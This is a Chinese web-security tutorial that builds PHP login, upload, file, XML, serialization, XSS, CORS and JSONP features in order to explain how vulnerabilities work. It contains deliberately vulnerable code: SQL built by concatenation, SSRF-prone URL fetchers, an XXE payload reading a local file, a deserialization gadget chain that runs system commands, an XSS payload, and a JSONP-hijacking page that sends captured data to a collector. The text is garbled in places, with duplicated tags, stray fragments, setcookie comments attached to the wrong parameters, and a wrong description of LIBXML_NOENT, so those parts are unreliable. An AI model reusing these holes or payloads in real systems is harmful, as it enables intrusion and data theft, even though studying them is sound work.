目标
实现一款具有常用大部分功能的WEB应用,并初步了解WEB漏洞原理
登录功能:
1、基于前端的登录功能
<!DOCTYPE html> <html> <head> <title>简单登录功能</title> </head> <meta charset="UTF-8"> <body> <h1>登录</h1> <form id="loginForm" οnsubmit="return login()"> <label for="username">用户名:</label> <input type="text" id="username" required> <br> <label for="password">密码:</label> <input type="password" id="password" required> <br> <input type="submit" value="登录"> </form> <p id="message"></p> <script> function login() { var username = document.getElementById("username").value; var password = document.getElementById("password").value; // 这里应该发送登录请求到服务器进行身份验证 // 在这个例子中,我们只是简单判断用户名和密码是否符合预定义值 // 假设正确的用户名和密码是: var validUsername = "admin"; var validPassword = "admin"; if (username === validUsername && password === validPassword) { document.getElementById("message").innerText = "登录成功!"; } else {document.getElementById("message").innerText = "登录失败,请检查用户名和密码!"; } // 阻止表单的默认提交行为 return false; } </script> </body> </html>
效果
2、基于后端验证的登录功能
前端:
<!DOCTYPE html> <html> <meta charset="UTF-8"> <head> <title>简单登录功能</title> </head> <body> <h2>登录</h2> <form action="http://127.0.0.1/login.php" method="post"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required><br> <label for="password">密码:</label> <input type="password" id="password" name="password" required><br> <input type="submit" value="登录"> </form> </body> </html>
后端
<meta charset="UTF-8"> <?php if ($_SERVER["REQUEST_METHOD"] === "POST") { // 获取表单数据 $username = $_POST["username"]; $password = $_POST["password"]; // 设置硬编码的账号与密码 $validUsername = "admin"; $validPassword = "admin"; // 比对表单中数据 if ($username === $validUsername && $password === $validPassword) { echo "登录成功!" . htmlspecialchars($username); } else { echo "登录失败,请重新登录"; } } ?>
3、基于数据库查询的登录功能(拼接)
<meta charset="UTF-8"> <?php $servername = "localhost"; $username = "root"; $password = "root"; $dbname = "demo"; //建立数据库连接 $conn = mysqli_connect($servername, $username, $password, $dbname); if (!$conn) { die("连接失败:" . mysqli_connect_error()); } //获取表单数据 $username = $_POST["username"]; $password = $_POST["password"]; //我们要执行的sql语句 $sql = "SELECT password FROM users WHERE username = '$username'"; //绑定连接与sql语句 $result = mysqli_query($conn, $sql); //判断是否存在内容 if (!$result) { die("查询错误:" . mysqli_error($conn)); } //取出查询结果 $row = mysqli_fetch_assoc($result); // if ($row) { $hashedPassword = $row["password"]; // 验证密码 if ($password == $hashedPassword) { // 登录成功 echo "登录成功!欢迎," . htmlspecialchars($username); } else { // 登录失败 echo "无效的用户名或密码,请重试。"; } } else { echo "用户不存在,请重试。"; }
4、基于数据库查询的登录功能(链式调用)
<meta charset="UTF-8"> <?php class DatabaseQuery { private $connection; private $sql; public function __construct($connection) { $this->connection = $connection; } public function select($columns) { $this->sql .= 'SELECT '. $columns; return $this; } public function from($table) { $this->sql .= " FROM $table"; return $this; } public function where($column) { $this->sql .= " WHERE $column"; return $this; } public function eq($value) { $this->sql .= " = '$value'"; return $this; } public function andWhere($column) { $this->sql .= " AND $column"; return $this; } public function execute() { echo $this->sql; $result = mysqli_query($this->connection, $this->sql); if (!$result) { die("查询错误:" . mysqli_error($this->connection)); } return $result; } } // 示例使用 $servername = "localhost"; $username_db = "demo"; $password_db = "demo"; $dbname = "demo"; $conn = mysqli_connect($servername, $username_db, $password_db, $dbname); if (!$conn) { die("连接失败:" . mysqli_connect_error()); } $username = $_POST["username"]; $password = $_POST["password"]; $dbQuery = new DatabaseQuery($conn); $result = $dbQuery->select('username') ->from('users') ->where('password')->eq($password) ->execute(); if (!$result) { die("查询错误:" . mysqli_error($conn)); } while ($row = mysqli_fetch_assoc($result)) { echo "Username: " . $row['username'] . "<br>"; } mysqli_close($conn); ?>
5、基于数据库查询的登录功能(预编译)
<meta charset="UTF-8"> <?php if ($_SERVER["REQUEST_METHOD"] === "POST") { // 从表单中获取用户名和密码 $username = $_POST["username"]; $password = $_POST["password"]; // 连接到MySQL数据库 $conn = new mysqli("localhost", "root", "root", "demo"); if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } // 准备SQL查询语句 //设置空位 $stmt = $conn->prepare("SELECT password FROM users WHERE username = ?"); // 将参数插入空位 $stmt->bind_param("s", $username); // 执行sql语句 $stmt->execute(); // 将结果进行绑定 $stmt->bind_result($hashedPassword); // 刷新 $stmt->fetch(); // 验证密码 if ($password === $hashedPassword) { // 登录成功 echo "登录成功!欢迎," . htmlspecialchars($username); // 在此处可以执行其他操作或重定向到另一个页面 } else { // 登录失败 echo "无效的用户名或密码,请重试。"; // 在此处可以重定向回登录页面或显示错误消息 } // 关闭语句和连接 $stmt->close(); $conn->close(); } ?>
控制访问功能:
使用cookie实现访问控制
// 设置一个时间 $expire = time() + 3600; // 设置一个cookie setcookie("user", $username, $expire, "/"); // 登录成功后,可以跳转到其他页面 header("Location: admin.php"); exit(); <meta charset="UTF-8"> <?php 1if ($_COOKIE["user"] === 'admin') { // 用户已登录,可以允许访问受保护的内容 echo '欢迎来到后台'; } else { // 用户未登录,可能跳转到登录页面或显示登录提示 header("Location: login.html"); }
使用session实现访问控制
$username = "user123"; // 开启会话 session_start(); // 设置会话数据 $_SESSION['user'] = $username; // 登录成功后,可以跳转到其他页面 header("Location: welcome.php"); exit(); <meta charset="UTF-8"> <?php session_start(); // 设置会话数据 if ($_SESSION['user'] === 'admin') { // 用户已登录,可以允许访问受保护的内容 echo '欢迎来到后台'; } else { // 用户未登录,可能跳转到登录页面或显示登录提示 header("Location: login.html"); }
上传功能:
前端:
<!DOCTYPE html> <html> <head> <title>文件上传</title> </head> <body> <h2>上传文件</h2> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="上传" name="submit"> </form> </body> </html>
后端:
<?php if (isset($_POST["submit"])) { $targetDir = "uploads/"; // 上传文件存储目录,确保该目录存在并有写入权限 $targetFile = $targetDir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));// 检查文件是否是一个真实的文件 if (isset($_FILES["fileToUpload"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if ($check === false) { echo "文件不是一个图片。"; $uploadOk = 0; } }// 检查文件是否已存在 if (file_exists($targetFile)) { echo "文件已存在。"; $uploadOk = 0; }// 允许的文件类型(这里假设只允许上传图片) $allowedTypes = array("jpg", "jpeg", "png", "gif"); if (!in_array($imageFileType, $allowedTypes)) { echo "只允许上传 JPG, JPEG, PNG, GIF 格式的文件。"; $uploadOk = 0; }// 检查文件大小(这里设置最大文件大小为5MB) $maxFileSize = 5 * 1024 * 1024; // 5 MB if ($_FILES["fileToUpload"]["size"] > $maxFileSize) { echo "文件大小超过限制(5MB)。"; $uploadOk = 0; }// 检查上传过程中是否发生错误 if ($uploadOk == 0) { echo "文件上传失败。"; } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { echo "文件上传成功。"; } else { echo "文件上传失败。"; } } } ?>
其他文件写入函数:
在 PHP 中,文件写入可以使用以下类函数和方法:
1.file_put_contents(): 该函数在之前已经提到过,它既可以用作函数,也可以用作类方法。作为类方法时,它用于将内容写入文件。
示例如下:
$file = 'path/to/file.txt'; $data = 'Hello, World!';if (file_put_contents($file, $data) !== false) { echo "文件写入成功!"; } else { echo "文件写入失败!"; }
2.fwrite(): 这是一个底层的文件写入方法。它需要使用文件句柄来打开文件,并将数据写入。
示例如下
$file = 'path/to/file.txt'; $data = 'Hello, World!';$fileHandle = fopen($file, 'w'); if (fwrite($fileHandle, $data) !== false) { echo "文件写入成功!"; } else { echo "文件写入失败!"; } fclose($fileHandle);
3.SplFileObject: 这是一个内置的 PHP 类,用于处理文件。它提供了许多文件操作的方法,包括读取和写入文件。
示例如下:
$file = new SplFileObject('path/to/file.txt', 'w'); $data = 'Hello, World!';$file->fwrite($data); // 或者使用迭代器方式写入多行数据$dataArray = array('Line 1', 'Line 2', 'Line 3'); foreach ($dataArray as $line) { $file->fwrite($line . PHP_EOL); } $file = null; // 关闭文件
4.fputs(): 这是与
fwrite() 函数功能相似的另一个底层文件写入函数。示例如下:
$file = 'path/to/file.txt'; $data = 'Hello, World!';$fileHandle = fopen($file, 'w'); if (fputs($fileHandle, $data) !== false) { echo "文件写入成功!"; } else { echo "文件写入失败!"; } fclose($fileHandle);
文件解压:
解压 Zip 文件:
function unzipFile($zipFile, $extractToDir) { $zip = new ZipArchive();if ($zip->open($zipFile) === true) { // 创建目标文件夹(如果不存在) if (!is_dir($extractToDir)) { mkdir($extractToDir, 0755, true);}// 解压缩文件 $zip->extractTo($extractToDir); $zip->close();echo '解压缩成功!'; } else { echo '解压缩失败!'; } 1}$zipFile = 'path/to/archive.zip'; $extractToDir = 'path/to/extracted_folder/'; unzipFile($zipFile, $extractToDir);
解压 Tar 文件
function untarFile($tarFile, $extractToDir) { try { $phar = new PharData($tarFile); $phar->extractTo($extractToDir, null, true);echo '解压缩成功!'; } catch (Exception $e) { echo '解压缩失败:' . $e->getMessage(); } }$tarFile = 'path/to/archive.tar'; $extractToDir = 'path/to/extracted_folder/'; untarFile($tarFile, $extractToDir);
文件读取:
PHP 提供了多个函数用于文件读取。以下是一些常用的文件读取函数:
1.file_get_contents(): 用于将整个文件内容读取为一个字符串。
$file = 'path/to/file.txt'; $content = file_get_contents($file);
2.file(): 将文件内容读取为一个数组,其中每一行都是数组的一个元素。
$file = 'path/to/file.txt'; $lines = file($file);
3.fopen(): 这些是底层的文件读取函数,允许你以更细粒度的方式控制文件的读取。
$file = 'path/to/file.txt'; $handle = fopen($file, 'r'); $content = fread($handle, filesize($file)); fclose($handle);
4.fgets(): 逐行读取文件内容。
$file = 'path/to/file.txt'; $handle = fopen($file, 'r'); while (!feof($handle)) { $line = fgets($handle); echo $line; } fclose($handle);
5.fgetc(): 逐字符读取文件内容。
$file = 'path/to/file.txt'; $handle = fopen($file, 'r'); while (!feof($handle)) { $char = fgetc($handle); echo $char; } fclose($handle);
6.SplFileObject: 这是一个内置的 PHP 类,用于处理文件。它提供了许多文件操作的方法,包括逐行读取和随机访问。
$file = new SplFileObject('path/to/file.txt', 'r'); while (!$file->eof()) { $line = $file->fgets(); echo $line; } $file = null; // 关闭文件
文件读取2:
1.file_get_contents()
这个函数可以用于读取文件内容,也可以用于从URL中读取内容。如果未正确验证和过滤用户提供的URL,攻击者可以通过构造恶意URL来进行SSRF攻击。
<?php $url = $_GET['url']; $content = file_get_contents($url); echo $content; ?>
2.curl_exec()
cURL是一个用于进行各种网络请求的强大工具,但如果未正确验证和限制用户提供的URL,它也可能被用于发起SSRF攻击。
<?php $url = $_GET['url'];$ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch);echo $response; ?>
3.fopen()
这个函数用于打开文件或URL。如果攻击者可以控制URL参数,并且服务器上执行了读取操作,那么可能导致SSRF。
<?php $url = $_GET['url']; $file = fopen($url, 'r'); echo fread($file, filesize($url)); fclose($file); ?>
4.fsockopen()
函数用于在 PHP 中打开一个网络连接,可以用于与服务器进行通信
<?php $url = $_GET['url']; $port = 80;$parts = parse_url($url); if (!$parts || !isset($parts['host'])) { die("Invalid URL"); }$host = $parts['host']; $path = isset($parts['path']) ? $parts['path'] : '/'; $query = isset($parts['query']) ? '?' . $parts['query'] : '';$fp = fsockopen($host, $port, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET $path$query HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);while (!feof($fp)) { echo fgets($fp, 128); }fclose($fp); } ?>
文件删除:
PHP 中有几个用于文件删除的函数,可以根据不同的需求和场景选择合适的函数。以下是一些常见的用于文件删除的 PHP 函数:
1.unlink(): 函数用于删除文件。
<?php $file_path = 'path/to/file.txt'; if (file_exists($file_path)) { unlink($file_path); echo "删除成功."; } else {echo "删除失败."; } ?>
2.rmdir():函数用于删除一个空目录。
<?php $dir_path = 'path/to/empty_directory'; if (is_dir($dir_path)) { rmdir($dir_path); echo "删除成功."; } else { echo "删除失败."; } ?>
模块加载:
function add_modules($mod){ $classFile = __DIR__ . '/../modules/' . $mod; if (file_exists($classFile)) { require_once($classFile); }else{ echo "模块不存在"; } }
XML:
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/1.txt"> ]> <root> <foo>&xxe;</foo> </root>
1.SimpleXML:
SimpleXML 扩展提供了一种简单的方式来解析 XML 数据并将其转换为对象。它允许你通过属性和方法访问 XML 元素和属性。
在PHP里面,解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
<? error_reporting(0); libxml_disable_entity_loader(false); $xml = file_get_contents('php://input'); $loadOptions = LIBXML_NOENT | LIBXML_NOERROR | LIBXML_NOWARNING;$doc = simplexml_load_string($xml, 'SimpleXMLElement', $loadOptions);if ($doc !== false) { echo $doc->title; // 输出展开实体引用后的 XML } else { echo "XML 解析出错。"; }
2.DOMDocument:
DOMDocument 类提供了一种更底层的方式来解析和操作 XML 文档。它以 DOM(文档对象模型)表示 XML 文档,允许你使用节点、元素和属性进行操作。
<? error_reporting(0); libxml_disable_entity_loader(false); $xml = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $foo = $creds->foo; echo $foo;
LIBXML_NOENT:这个选项表示在解析XML时不要展开实体引用。实体引用是以&开头的字符序列,比如& 表示&,<表示<等。 设置这个选项后,解析器不会将实体引用展开为相应的字符。 LIBXML_DTDLOAD:这个选项表示解析器在解析XML时要加载和处理文档类型定义(DTD)。 DTD是一种定义XML文档结构的语法,它描述了元素、属性等的规则。设置了这个选项,解析器会尝试加载并 解析文档中的DTD部分。
3.XMLReader:
XMLReader 类提供了一种基于事件的方式来解析大型 XML 文档。它逐步读取 XML 数据,并通过触发事件来处理节点、元素和属性。
<? error_reporting(0); libxml_disable_entity_loader(false); $xml = file_get_contents('php://input'); $reader = new XMLReader(); $reader->xml($xml); // 设置解析器属性以展开实体引用$reader->setParserProperty(XMLReader::SUBST_ENTITIES, true);while ($reader->read()) { if ($reader->nodeType == XMLReader::ELEMENT) { $node = $reader->expand();if ($node->nodeType == XMLReader::ELEMENT) { echo "Text: " . $node->textContent . "\n"; } } }
序列化:
<?phpclass User {public $privilege; public $id; public $attribute; public function __construct($privilege, $id) { $this->privilege = $privilege; $this->id = $id; }public function get_permissions(){ if($this->privilege->get_name == 'admin'){ echo '你是admin用户'; die(); } elseif($this->privilege->get_name == 'guest'){ echo '你是guest用户'; die(); } }public function get_permissions_attribute(){ $attribute = $this->attribute; echo $this->privilege->$attribute; }public function __wakeup() { $this->get_permissions(); if(!empty($this->attribute)){ $this->get_permissions_attribute(); } }}class Base{ public function get($name) { echo "未找到: {$name}方法"; } }class shell{ public $cmd; public function __get($name) { echo $name; } public function __toString() { return system($this->cmd); } }ini_set('display_errors', 'on'); unserialize($_POST['user']); ?>
答案1:
<?php class User {public $privilege; public $id; public $attribute; public function __construct($privilege, $id){ $this->privilege = $privilege; $this->id = $id; }public function get_permissions(){ if($this->privilege->get_name == 'admin') { echo '你是admin用户'; die(); } elseif($this->privilege->get_name == 'guest'){ echo '你是guest用户'; die(); } }public function get_permissions_attribute(){ $attribute = $this->attribute; echo $this->privilege->$attribute; } public function __wakeup() { $this->get_permissions(); if(empty($this->attribute)){ $this->get_permissions_attribute($this->attribute); }}}class Admin { public $name = 'admin'; public $describe = '当前用户为管理员权限,可以登录后台'; public $Base; public function __construct(){ $this->Base = new Base(); }public function __get($name) { $this->Base->get($name); }}class Guest { public $name = 'guest'; public $describe = '当前用户为访客权限,无法登录后台'; public $Base; public function __construct(){ $this->Base = new Base(); }public function __get($name) { $this->Base->get($name); }}class Base{ public function get($name) { echo "未找到: {$name}方法"; }}class shell{ public $cmd = 'calc'; public function __get($name) { system($this->cmd); }public function __toString() { return eval($this->cmd); }}$shell = new shell();$user = new user($shell, 1);?>
JSON:
在 PHP 中,你可以使用多种类和方法来解析 JSON 数据。以下是一些常用的类和方法:
1.json_decode():
这是 PHP 内置的函数,用于将 JSON 字符串解析为 PHP 数组或对象。它是最常用的 JSON 解析方法。
$jsonString = '{"name":"Alice","age":30}'; $data = json_decode($jsonString, true); // 解析为关联数组 // 或者 $data = json_decode($jsonString); // 解析为对象
2.json_encode():
$data = ['name' => 'Alice', 'age' => 30]; $jsonString = json_encode($data);
3.解析 JSON 对象:
将 JSON 字符串解析为 PHP 对象或数组。
$jsonString = '{"name":"Alice","age":30,"email":"alice@example.com"}'; $person = json_decode($jsonString); echo $person->name; // 输出: Alice
4.访问 JSON 对象的属性:
在解析后的 PHP 对象中,你可以使用箭头运算符 -> 来访问 JSON 对象的属性。
echo $person->age; // 输出: 30 echo $person->email; // 输出: alice@example.com
5.嵌套 JSON 对象:
JSON 对象可以包含其他 JSON 对象作为属性。
$person = [ 'name' => 'Alice', 'contact' => [ 'email' => 'alice@example.com', 'phone' => '123-456-7890' ] ];$jsonString = json_encode($person);
6.设置选项:
使用json_encode函数的第二个参数可以设置 JSON 输出的选项,如缩进和 Unicode 转义。
$jsonString = json_encode($person, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
XSS:
<img src=x οnerrοr="alert(/xss/)">
前端
function showMessageList() { // 获取留言列表 fetch('/api/get_message.php') .then(response => response.json()) .then(data => { messageContainer.innerHTML = ''; data.forEach(message => { const messageDiv = document.createElement('div'); // messageDiv.textContent = `User: ${message.username}, Message: ${message.content}`;messageDiv.innerHTML = `User: ${message.username}, Message: ${message.content}`;messageContainer.appendChild(messageDiv); //messageContainer.append(messageDiv); }); }); } function showMessageList() { // 获取留言列表 fetch('/api/get_message.php') .then(response => response.json()) .then(data => { messageContainer.innerHTML = ''; data.forEach(message => { const messageDiv = document.createElement('div');// 使用纯文本节点来避免解释 JavaScript 代码 const usernameTextNode = document.createTextNode(`User: ${message.username}`);messageDiv.appendChild(usernameTextNode);// 将 message.content 添加到 messageDiv const contentTextNode = document.createTextNode(`, Message: ${message.content}`);messageDiv.appendChild(contentTextNode);// 将 messageDiv 添加到页面 messageContainer.appendChild(messageDiv); }); });
后端
在 PHP 中,有一些函数可以帮助您防止跨站脚本(XSS)漏洞。这些函数可以用于在将用户输入嵌入
到 HTML、JavaScript、CSS 或其他上下文中时,对输入进行适当的转义或过滤。以下是一些常用的
防止 XSS 漏洞的函数:
1.htmlspecialchars:
用于将特殊字符转义为 HTML 实体,从而防止恶意脚本的执行。它是防止在 HTML 上下文中的 XSS
攻击的首选方法。
$escapedInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
2.strip_tags:
$cleanInput = strip_tags($userInput);
3.htmlentities:
$escapedInput = htmlentities($userInput, ENT_QUOTES, 'UTF-8');
4.filter_var:
通过过滤器进行输入验证和过滤,可以用于过滤特定类型的输入,如 URL、邮箱等。
$filteredInput = filter_var($userInput, FILTER_SANITIZE_STRING);
5.JavaScript Escape:
$jsEscapedInput = json_encode($userInput); // 或者 $jsEscapedInput = addslashes($userInput);
6.Content Security Policy (CSP):
不是一个函数,而是一种更全面的安全策略,通过设置 HTTP 头来限制允许加载的资源来源,从而减
少 XSS 攻击的风险。
Content Security Policy(CSP)是一种在网页中实施的安全策略,用于减少跨站脚本(XSS)等安全
威胁。CSP 允许您指定哪些内容可以加载到页面中,从而减少恶意代码的执行。
要使用 Content Security Policy,您需要在您的网页的 <head> 部分添加一个 meta 标签或通过 HTTP
头来指定策略。以下是一个简单的示例:
<!DOCTYPE html> <html> <head><meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' <title>My Secure Website</title> </head> <body> <!-- 页面内容 --> </body> </html>
在上面的示例中,Content-Security-Policy 头通过 meta 标签指定了一些策略规则:
-
default-src 'self'
-
script-src 'self' TransIP - Reserved domain TransIP - Reserved domain
-
style-src 'self' https://trusted-styles.com https://trusted-styles.com
这是一个基本示例,您可以根据您的应用程序需求进行调整。策略规则包括 default-src、script-src、style
src、img-src、font-src 等,您可以根据需要进行设置。
请注意,实施 CSP 可能会对您的应用程序的一些功能产生影响,特别是在使用第三方脚本或资源时。
7.禁止 JavaScript 获取 cookie
在 PHP 中,setcookie 函数的参数用于设置 Cookie 的各种属性。以下是每个参数的含义:
setcookie( string $name, //Cookie 的名称。 string $value = "", //Cookie 的名称。int $expire = 0, // Cookie 的过期时间,以 UNIX 时间戳表示。如果设置为 0,或省略该参数,则 Cookie 会在会话结束后过期。string $path = "", // Cookie 的过期时间,以 UNIX 时间戳表示。如果设置为 0,或省略该参数, 则 Cookie 会在会话结束后过期。string $domain = "", // Cookie 的过期时间,以 UNIX 时间戳表示。如果设置为 0,或省略该参 数,则 Cookie 会在会话结束后过期。bool $secure = false, // Cookie 的过期时间,以 UNIX 时间戳表示。如果设置为 0,或省略该参 数,则 Cookie 会在会话结束后过期。bool $httponly = false //如果设置为 true,则 JavaScript 无法通过 document.cookie 访问 该 Cookie,增加安全性(HttpOnly 标志)。)
CSRF:
前端:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Form with JSON and CORS</title> </head> <body> <h1>Login Form with JSON and CORS</h1> <div> <label for="username">Username:</label> <input type="text" id="username" required><br><br> <label for="password">Password:</label> <input type="password" id="password" required><br><br> <button id="loginButton">Login</button> </div> <div id="loginMessage"></div><script> const loginButton = document.getElementById('loginButton'); const loginMessage = document.getElementById('loginMessage');loginButton.addEventListener('click', () => { const username = document.getElementById('username').value; const password = document.getElementById('password').value;const loginData = { username: username, password: password };fetch('http://qqx.com/api/cors.php', { method: 'POST', headers: { 'Content-Type': 'application/json' },body: JSON.stringify(loginData) }) .then(response => { if (!response.ok) { throw new Error('Login failed'); } return response.json(); }) .then(data => { loginMessage.textContent = 'Login successful!'; loginMessage.style.color = 'green'; }) .catch(error => {loginMessage.textContent = 'Login failed. Please check your credentials.'; loginMessage.style.color = 'red'; }); }); </script> </body> </html>
结果
<?phpecho 1111; header("Access-Control-Allow-Origin: http://qqx.com"); header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); header("Access-Control-Allow-Headers: Content-Type"); header("Access-Control-Allow-Credentials: true");
触发条件:
浏览器在发起跨域请求时,会在需要的情况下发起预检请求(OPTIONS请求)来验证服务器是否允许
实际请求的跨域访问。这个预检请求的主要目的是检查服务器是否设置了合适的CORS头部,以确定是
否允许实际请求(如GET、POST)跨域访问。
预检请求通常在以下情况下发起:
-
使用非简单请求方法:当浏览器在跨域情况下使用非简单请求方法(如PUT、DELETE、自定义头部等)时,它会发起预检请求来验证服务器是否允许这种请求。
-
自定义请求头部:如果请求中包含了自定义的HTTP头部,浏览器可能会发起预检请求来确保服务器允许这些自定义头部。
以下是浏览器发起预检请求(OPTIONS请求)的一般流程:
-
浏览器检测到跨域请求,检查请求是否满足“简单请求”的条件,如果满足则直接发送实际请求。
-
如果请求不满足“简单请求”的条件,浏览器会自动发送一个OPTIONS请求,请求的头部中会包含一些预检信息,如请求方法、请求头部等。
-
服务器收到OPTIONS请求后,需要正确地设置CORS头部,如Access-Control-Allow-Origin、Access-Control-Allow-Methods、Access-Control-Allow-Headers 等。服务器需要返回适当的CORS头部,以告诉浏览器是否允许实际请求的跨域访问。
4.如果服务器的CORS头部允许跨域访问,浏览器会继续发送实际请求,如果不允许,则浏览器会拒绝发送实际 请求,遵循同源策略。
需要注意的是,服务器需要正确处理OPTIONS请求,并在响应中设置适当的CORS头部,以使浏览器
能够理解是否允许跨域访问。预检请求是CORS机制的一部分,有助于确保安全的跨域资源访问。
请求类型:
CORS(跨源资源共享)规范将HTTP请求分为两种类型:简单请求和非简单请求。简单请求(Simple
Request)满足一组特定的条件,不会触发预检请求(OPTIONS请求)。而非简单请求(Non-Simple Request)则需要在发起实际请求之前进行预检请求,以确定服务器是否允许跨域访问。
以下是被认为是非简单请求方法的一些常见HTTP方法:
用于向服务器提交数据,修改服务器上的资源。
用于请求服务器删除指定的资源。
用于对服务器上的资源进行部分更新。
用于建立网络连接,通常在代理服务器上使用。
用于请求有关服务器支持的请求方法和HTTP头部信息的信息。
触发条件:
使用非简单请求方法:当浏览器在跨域情况下使用非简单请求方法(如PUT、DELETE、自定义头部等)时,它会
发起预检请求来验证服务器是否允许这种请求。
自定义请求头部:如果请求中包含了自定义的HTTP头部,浏览器可能会发起预检请求来确保服务器允许这些自
定义头部。
浏览器检测到跨域请求,检查请求是否满足“简单请求”的条件,如果满足则直接发送实际请求。
如果请求不满足“简单请求”的条件,浏览器会自动发送一个OPTIONS请求,请求的头部中会包含一些预检信
息,如请求方法、请求头部等。
服务器收到OPTIONS请求后,需要正确地设置CORS头部,如
如果服务器的CORS头部允许跨域访问,浏览器会继续发送实际请求,如果不允许,则浏览器会拒绝发送实际请
求,遵循同源策略。
请求类型:
-
PUT:
用于向服务器提交数据,修改服务器上的资源。
-
DELETE:
用于请求服务器删除指定的资源。
-
PATCH:
用于对服务器上的资源进行部分更新。
-
CONNECT:
用于建立网络连接,通常在代理服务器上使用。
-
OPTIONS:
用于请求有关服务器支持的请求方法和HTTP头部信息的信息。
-
TRACE:
用于在路径上执行一个消息环回测试,以诊断路径中的问题。
后端
1.设置响应头部信息:
在您的PHP脚本中,可以通过设置响应头部来控制CORS策略。以下是一些常见的响应头部字段,您可以根据需要进行设置:
header("Access-Control-Allow-Origin: *"); // 允许所有来源访问,或替换为具体的域名 header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); // 允许的HTTP方法 header("Access-Control-Allow-Headers: Content-Type"); // 允许的请求头 header("Access-Control-Allow-Credentials: true"); // 如果需要使用跨域的Cookie,设置为true
2.使用预检请求(Preflight Requests):
对于一些复杂的跨域请求(例如带有自定义头部的POST请求),浏览器会首先发送一个预检请求
(OPTIONS请求)以验证服务器是否支持跨域请求。您需要在服务器上处理这些预检请求并返回适当
的响应头部。例如:
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); header("Access-Control-Allow-Headers: Content-Type"); header("Access-Control-Allow-Credentials: true"); header("HTTP/1.1 204 No Content"); exit(); }
3.验证来源和请求头部:
在您的PHP脚本中,您可以根据需要对请求来源进行验证,以确保只有合法的来源可以访问您的资
源。例如:
$allowedOrigins = array("https://example.com", "https://anotherdomain.com"); $origin = $_SERVER['HTTP_ORIGIN'];if (in_array($origin, $allowedOrigins)) { header("Access-Control-Allow-Origin: " . $origin); header("Access-Control-Allow-Methods: GET, POST"); // 其他头部设置 } else { // 处理非法来源 1header("HTTP/1.1 403 Forbidden"); exit(); 1}
JSONP:
JSONP 的工作原理是通过在页面中动态创建 <script> 标签,从而允许跨域资源被加载。因为 <script> 标签的跨域限制比较宽松,它不受同源策略的限制。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>JSONP Example</title> </head> <body> <h1>JSONP Example</h1> <div id="dataContainer"></div> <script> function handleJSONPResponse(data) { const dataContainer = document.getElementById('dataContainer'); dataContainer.textContent = 'Response from JSONP: ' + JSON.stringify(data); }// Create a script element to make the JSONP request const script = document.createElement('script'); script.src = 'http://qqx.com/demo2.php?callback=handleJSONPResponse'; document.body.appendChild(script); </script> </body> </html>
<?php $data = array("name" => "John", "age" => 30); $callback = $_GET['callback']; // 获取callback参数 // 输出带有回调函数的响应 echo $callback . '(' . json_encode($data) . ');'; ?>
蜜罐:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>JSONP Example</title> </head> <body> <h1>JSONP Example</h1> <div id="dataContainer"></div><script> function handleJSONPResponse(data) { const dataContainer = document.getElementById('dataContainer'); dataContainer.textContent = 'Response from JSONP: ' + JSON.stringify(data);// 定义要发送的数据 const jsonp = { key1: "1", key2: "value2" };// 发起POST请求 fetch("http://127.0.0.1:8000/?a="+JSON.stringify(data), { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(jsonp) }) .then(function(response) { if (response.ok) { // 请求成功,处理响应数据 return response.json(); } else { // 请求失败,处理错误 throw new Error("Network response was not ok"); } }) .then(function(data) { console.log(data); }).catch(function(error) { console.error("There was a problem with the fetch operation:", error); });}// Create a script element to make the JSONP request const script = document.createElement('script'); script.src = 'http://qqx.com/demo2.php?callback=handleJSONPResponse'; document.body.appendChild(script); </script> </body> </html>